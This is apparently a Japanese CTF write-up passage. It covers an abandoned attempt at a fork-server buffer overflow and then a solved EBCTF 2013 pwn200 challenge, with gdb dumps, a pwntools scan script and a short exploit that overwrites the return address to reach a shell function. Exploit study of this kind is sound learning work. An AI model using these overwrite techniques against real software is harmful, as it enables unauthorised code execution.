CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

何でもありな状態であるため、今回はshellcodeを使っていこうかな。SSPも無効になっているため、stackをチェックする機構が独自に作られていなければBOFできそう。PIEもないので実行ファイルのアドレスは固定であるため、適当なセクションを使うのもありかも。とりあえずデバッグしてみることに!すると・・・

[-------------------------------------code-------------------------------------]
   0x400cc7:    mov    rdx,rsi
   0x400cca:    mov    rsi,rcx
   0x400ccd:    mov    rdi,rax
=> 0x400cd0:    call   0x400a80 <memcpy@plt>
   0x400cd5:    mov    rdx,QWORD PTR [rbp-0x118]
   0x400cdc:    mov    rax,QWORD PTR [rbp-0x8]
   0x400ce0:    mov    rsi,rdx
   0x400ce3:    mov    rdi,rax
Guessed arguments:
arg[0]: 0x7fffffffd970 --> 0x7fffffffda28 --> 0x0 
arg[1]: 0x7fffffffdfa8 ('A' <repeats 29 times>, "\n")
arg[2]: 0x1e 
arg[3]: 0x7fffffffdfa8 ('A' <repeats 29 times>, "\n")
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd960 --> 0xffffffffffffffff 
0008| 0x7fffffffd968 --> 0x7fffffffdfa8 ('A' <repeats 29 times>, "\n")
0016| 0x7fffffffd970 --> 0x7fffffffda28 --> 0x0 
0024| 0x7fffffffd978 --> 0x7ffff7649978 --> 0xc0022000055fa 
0032| 0x7fffffffd980 --> 0x0 
0040| 0x7fffffffd988 --> 0x7fffffffda80 --> 0x7fffffffdec0 --> 0x0 
0048| 0x7fffffffd990 --> 0x400a90 (xor    ebp,ebp)
0056| 0x7fffffffd998 --> 0x7ffff79f7760 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0000000000400cd0 in ?? ()
gdb-peda$ b *0x400cd0
Breakpoint 2 at 0x400cd0
gdb-peda$ x/100wx $esp
0xffffffffffffd960:    Cannot access memory at address 0xffffffffffffd960
gdb-peda$ x/100gx $rsp
0x7fffffffd960:    0xffffffffffffffff 0x00007fffffffdfa8
0x7fffffffd970:    0x00007fffffffda28 0x00007ffff7649978
0x7fffffffd980:    0x0000000000000000 0x00007fffffffda80
0x7fffffffd990:    0x0000000000400a90 0x00007ffff79f7760
0x7fffffffd9a0:    0x0000000000000000 0x0000000000000000
0x7fffffffd9b0:    0x00007fffffffda28 0x00007fffffffda10
0x7fffffffd9c0:    0x00007fffffffda00 0x00007ffff7a63002
0x7fffffffd9d0:    0x0000000000000000 0x00007fffffffda80
0x7fffffffd9e0:    0x0000000000400a90 0x0000000000400c59
0x7fffffffd9f0:    0xfffffe03ffffdec0 0x00007fffffffe060
0x7fffffffda00:    0x31f2ab2cbe4cf530 0xb9e789adaa8c1973
0x7fffffffda10:    0x31f2ab2c00000000 0xb9e789adaa8c1973
0x7fffffffda20:    0x0000000000000018 0x0000000000000000
0x7fffffffda30:    0x0000000000000000 0x0000000000000000
0x7fffffffda40:    0x0000000000000000 0x0000000000000000
0x7fffffffda50:    0x0000000000000000 0x0000000000000000
0x7fffffffda60:    0x00007fffffffdec0 0x0000000000400a90
0x7fffffffda70:    0x00007fffffffdfa0 0x00007fffffffd970
0x7fffffffda80:    0x00007fffffffdec0 0x000000000040121e

[-------------------------------------code-------------------------------------]
   0x400cdc:    mov    rax,QWORD PTR [rbp-0x8]
   0x400ce0:    mov    rsi,rdx
   0x400ce3:    mov    rdi,rax
=> 0x400ce6:    call   0x400a30 <strcpy@plt>
   0x400ceb:    mov    rax,QWORD PTR [rbp-0x8]
   0x400cef:    mov    QWORD PTR [rip+0x2013e2],rax        # 0x6020d8
   0x400cf6:    leave  
   0x400cf7:    ret
Guessed arguments:
arg[0]: 0x7fffffffd970 ('A' <repeats 29 times>, "\n")
arg[1]: 0x7fffffffdfa8 ('A' <repeats 29 times>, "\n")
arg[2]: 0x7fffffffdfa8 ('A' <repeats 29 times>, "\n")
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd960 --> 0xffffffffffffffff 
0008| 0x7fffffffd968 --> 0x7fffffffdfa8 ('A' <repeats 29 times>, "\n")
0016| 0x7fffffffd970 ('A' <repeats 29 times>, "\n")
0024| 0x7fffffffd978 ('A' <repeats 21 times>, "\n")
0032| 0x7fffffffd980 ('A' <repeats 13 times>, "\n")
0040| 0x7fffffffd988 --> 0xa4141414141 ('AAAAA\n')
0048| 0x7fffffffd990 --> 0x400a90 (xor    ebp,ebp)
0056| 0x7fffffffd998 --> 0x7ffff79f7760 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0000000000400ce6 in ?? ()
gdb-peda$ x/100gx $rsp
0x7fffffffd960:    0xffffffffffffffff 0x00007fffffffdfa8
0x7fffffffd970:    0x4141414141414141 0x4141414141414141
0x7fffffffd980:    0x4141414141414141 0x00000a4141414141
0x7fffffffd990:    0x0000000000400a90 0x00007ffff79f7760
0x7fffffffd9a0:    0x0000000000000000 0x0000000000000000
0x7fffffffd9b0:    0x00007fffffffda28 0x00007fffffffda10
0x7fffffffd9c0:    0x00007fffffffda00 0x00007ffff7a63002
0x7fffffffd9d0:    0x0000000000000000 0x00007fffffffda80
0x7fffffffd9e0:    0x0000000000400a90 0x0000000000400c59
0x7fffffffd9f0:    0xfffffe03ffffdec0 0x00007fffffffe060
0x7fffffffda00:    0x31f2ab2cbe4cf530 0xb9e789adaa8c1973
0x7fffffffda10:    0x31f2ab2c00000000 0xb9e789adaa8c1973
0x7fffffffda20:    0x0000000000000018 0x0000000000000000
0x7fffffffda30:    0x0000000000000000 0x0000000000000000
0x7fffffffda40:    0x0000000000000000 0x0000000000000000
0x7fffffffda50:    0x0000000000000000 0x0000000000000000
0x7fffffffda60:    0x00007fffffffdec0 0x0000000000400a90
0x7fffffffda70:    0x00007fffffffdfa0 0x00007fffffffd970
0x7fffffffda80:    0x00007fffffffdec0 0x000000000040121e

一番気になったのは、memcpyとstrcpyが同じBufferのアドレスを使用していた点である。具体的な位置としては0x00007fffffffd970というアドレスを使用していた。そこをこの二つのライブラリは使用していた。また、0x7fffffffda78のアドレスにBufferのアドレスが格納されている。このアドレスはmemcpyを実行した後に書き換えが可能であるため、次のstrcpyが実行されるときに任意のアドレスに変更することができる。
C言語にすると以下のような感じ

memcpy(Buffer, UserInput, sizeof(UserInput) - 1);
strcpy(Buffer, UserInput);

その脆弱性を利用して、うまくreturnアドレスを書き換えることができるため、今回はこの脆弱性を利用してshellcodeのアドレスにreturnアドレスを書き換えたい。
具体的にどうするかを説明していく。
最初に、必要なものはbufferのアドレスの特定である。今回はfork-server型であるため、親プロセスが死なない限り、アドレスの位置は変わらない。そこでまず一回目はstackに格納されているアドレスをleakしてからbufferのアドレスのoffsetを足してあげることで求める。今回は登録した内容をsendで見せるような処理を最後にしているためそこからleakする。この出力は終端文字がつけられる処理がないため、終端文字を消してstackに格納されているアドレスをleakさせる
次に、leakしたbufferアドレスから8byte進んだ先にstrcpyのアドレスを設定する。こうすることによってbufferの最後から8byteの部分が、うまくstackに格納されているreturnアドレスを上書きしてくれる。
ではさっそく、やってみよう。と思ってleakしてみたが、正確なアドレスを絞り込むことは難しかった。
他のwrite upを見たところ結局はBrute Forceをやっているようなwrite upがほとんどを占めていた。(この方法しかないのかな?)
私もやってみたが、上手くできなかった(圧倒的実力不足)
解けないこともあるんだね。雑魚だものしょうがない(諦め)

EBCTF 2013 pwn200

これは32bit-ELFで、pwnというよりもrevというふうにとらえることができる問題だった。とにかくswitch分が多いためどういった文字を打ったらswitch文に入り、どういった処理をするのかを見るような問題だった。どのような文字がどういった処理をするかは実際に文字を打ってデバッグで見たほうが早いかもしれない。(私の場合はそうした)
ではさっそく問題を見てみよう。

shima@chino:~/workspace/pwn_list_baby/pwn200$ ./bf
>> EINDBAZEN FRAINBUCK INTERDERPER READY.
> GIVE ME SOMETHING TO DANCE FOR: a

THANKS FOR SUPPORTING US WITH YOUR BRAIN!
shima@chino:~/workspace/pwn_list_baby/pwn200$ ./bf
>> EINDBAZEN FRAINBUCK INTERDERPER READY.
> GIVE ME SOMETHING TO DANCE FOR: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
0x0000000c

THANKS FOR SUPPORTING US WITH YOUR BRAIN!
shima@chino:~/workspace/pwn_list_baby/pwn200$ ./bf
>> EINDBAZEN FRAINBUCK INTERDERPER READY.
> GIVE ME SOMETHING TO DANCE FOR: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
0x0000000c
Segmentation fault (コアダンプ)

私はこの実行の段階では普通にBOFさせるのかな?という認識しかなかった。「なんかメモリの値をだしているのなぁ」とは思いつつも、BOFさせてreturnアドレスを書き換えて終わりかな。とりあえず、セキュリティチェック

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

今回はどうやらshellcodeは使うことができないらしい。ということは必然的にsystem関数を使うことになりそうだが、実行ファイルには使われているのだろうか?そう思って実行ファイルの逆アセンブルを見てみた。すると・・・

08048a6e <shell>:
 8048a6e:   55                     push   ebp
 8048a6f:   89 e5                  mov    ebp,esp
 8048a71:   83 ec 18              sub    esp,0x18
 8048a74:   c7 04 24 98 8c 04 08   mov    DWORD PTR [esp],0x8048c98
 8048a7b:   e8 50 fa ff ff         call   80484d0 <system@plt>
 8048a80:   c9                      leave  
 8048a81:   c3                      ret    

どうやらshellを起動させるような関数がもうすでに用意されているらしい。あとはSSPが無効になっているのでreturnを書き換えればいいのかなと思ってデバッグをしてみることにした。

[-------------------------------------code-------------------------------------]
   0x8048a5d <bf_main+1105>: jmp    0x8048a60 <bf_main+1108>
   0x8048a5f <bf_main+1107>: nop
   0x8048a60 <bf_main+1108>: mov    eax,0x0
=> 0x8048a65 <bf_main+1113>: add    esp,0x4d4
   0x8048a6b <bf_main+1119>: pop    ebx
   0x8048a6c <bf_main+1120>: pop    ebp
   0x8048a6d <bf_main+1121>: ret    
   0x8048a6e <shell>: push   ebp
[------------------------------------stack-------------------------------------]
0000| 0xffffcbc0 --> 0x8048ba2 ("0x%08x\n")
0004| 0xffffcbc4 --> 0x7b1ea7c 
0008| 0xffffcbc8 --> 0x80 
0012| 0xffffcbcc --> 0x34 ('4')
0016| 0xffffcbd0 --> 0x34 ('4')
0020| 0xffffcbd4 --> 0x140 
0024| 0xffffcbd8 --> 0x140 
0028| 0xffffcbdc --> 0x5 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 6, 0x08048a65 in bf_main ()
gdb-peda$ x/100wx $esp
0xffffcbc0:    0x08048ba2 0x07b1ea7c 0x00000080 0x00000034
0xffffcbd0:    0x00000034 0x00000140 0x00000140 0x00000005
0xffffcbe0:    0x00000004 0x00000003 0x0016b4d4 0x0016b4d4
0xffffcbf0:    0x0016b4d4 0x00000013 0x00000013 0x00000004
0xffffcc00:    0x00000001 0x00000001 0x00000000 0x00000000
0xffffcc10:    0x00000000 0x001a7a60 0x001a7a60 0x00000005
0xffffcc20:    0x00001000 0x00000001 0x001a81cc 0x001a91cc
0xffffcc30:    0x001a91cc 0x00002cf0 0x000058b0 0x00000006
0xffffcc40:    0x00001000 0x00000002 0x001a9da8 0x001aada8
0xffffcc50:    0x001aada8 0x000000f0 0x000000f0 0x00000006
0xffffcc60:    0x00000004 0x00000004 0x00000174 0x00000174
0xffffcc70:    0x00000174 0x00000044 0x00000044 0x00000004
0xffffcc80:    0x00000004 0x00000007 0x001a81cc 0x001a91cc
0xffffcc90:    0x001a91cc 0x00000008 0x0000004c 0x00000004
0xffffcca0:    0x00000004 0x6474e550 0x0016b4e8 0x0016b4e8
0xffffccb0:    0x0016b4e8 0x000074d4 0x000074d4 0x00000004
0xffffccc0:    0x00000004 0x6474e551 0x00000000 0x00000000
0xffffccd0:    0x00000000 0x00000000 0x00000000 0x00000006
0xffffcce0:    0x00000010 0x6474e552 0x001a81cc 0xf7ffd000
0xffffccf0:    0xffffcf68 0x00000000 0xffffcd28 0xf7fe890c
0xffffcd00:    0x00000000 0x00000000 0x00000000 0x00000003
0xffffcd10:    0x00554e47 0x56ee495a 0xf7e23049 0x00000000
0xffffcd20:    0x00000000 0xf7fe88c0 0xffffcf98 0xf7feac06
0xffffcd30:    0xffffcf68 0x00000000 0x00000000 0xf7ffd878
0xffffcd40:    0x00000000 0xffffcf64 0xffffcf60 0xf7fe4d9d

もはや、fgetsで400hまでの入力で、bufferのアドレスを移動させるのかと思ったがそういった動きもなかった。ということは入力からオーバーフローさせることは不可能に近いため、特定の入力に対して動きを見せるような実行ファイルだろうと見当をつけた。ということでさっそく逆アセンブルしていろいろ探ってみたが、どうやら、以下に示す文字だけ影響を与えるらしい。

43 + case 0 メモリの内容に1たす 
45 - case 1 メモリの内容に1ひく
62 > case 2 メモリのアドレスを4byteプラスに移動
60 < case 3 メモリのアドレスを4byteマイナスに移動
91 [ case 4 ???
93 ] case 5 ???
44 , case 6 メモリの内容を1byte入力した文字に変更
46 . case 7 現在指しているメモリの内容を出力

case文ごとに分けてみた逆アセンブルからわかることは、ある基数をもとにそれを4byteかけてメモリを移動するような形を基本としていた。しかし具体的には、case7以外はよくわからなかったので実際に動かしながら調べてみた。以下に一例を示す。

> GIVE ME SOMETHING TO DANCE FOR: +.+.+.+.
0x00000001
0x00000002
0x00000003
0x00000004

> GIVE ME SOMETHING TO DANCE FOR: -.-.-.-.
0x000000ff
0x000000fe
0x000000fd
0x000000fc

> GIVE ME SOMETHING TO DANCE FOR: >.>.>.>.
0x00000000
0x00000000
0x00000000
0x00000000

> GIVE ME SOMETHING TO DANCE FOR: <.<.<.<.<.
0xf7e1d474
0x08048353
0xf7fda858
0xf7fdab48
0x000008d6

> GIVE ME SOMETHING TO DANCE FOR: [.[.[.[.



> GIVE ME SOMETHING TO DANCE FOR: ].].].].] 

Program received signal SIGSEGV, Segmentation fault.
> GIVE ME SOMETHING TO DANCE FOR: ,.,.,.,.
A
0x00000041
0x0000000a
C
0x00000043
0x0000000a

どうやらこれらの文字を使って任意のメモリにある内容を書き換えてうまくシェルと起動させるような問題らしい。(発想的には面白くて好き)しかし、どちらかというとrev問題になっているような気がしないでもないため、好みは分かれそう。
とりあえず、EIPが指すようなメモリが存在しないか探し、それを上手くshell関数に飛ばせば終わりかな?とりあえず>か<の文字を使って探してみよう。
コードべちょー

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

for i in range(1,101):
    conn = process('./bf')
    buf = ">" * i + '.' + '\n'
    conn.recvuntil("FOR: ")
    conn.send(buf)
    print '%d:0x%08x'%(i, int(conn.recv(10), 16))
    conn.close()

EIPを探すようなコードを作ってみた。今回は>の文字列を使って1回目から100回目までを>の数を増やしながら試してみた。その結果をいかに示す。

shima@chino:~/workspace/pwn_list_baby/pwn200$ python search.py | grep '0x08048a' 
51:0x08048a9d
54:0x08048ab9
56:0x08048ab0
88:0x08048a82
91:0x08048ab0

どうやら100番目以下しかメモリの操作はできなさそう。その中からEIPが指す。ものを探してみると以下のようなものがあるらしい。
とりあえず今回は確実に使うであろう51番目のEIPアドレスをshell関数に変更するようなコードを書いてみることにする。
コードべちょー

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log
elf = ELF('./bf')

conn = process('./bf')

payload = '>'*51
payload += '-'*47
payload += '\n'
conn.recvuntil(' FOR: ')
conn.send(payload)
conn.interactive()

コード短すぎィ!まず最初に51番目に移動してから、内容を47減らしてEIPアドレスをshell関数のアドレスに合わせるようにした。
【総評】revできなかったら死にたくなる問題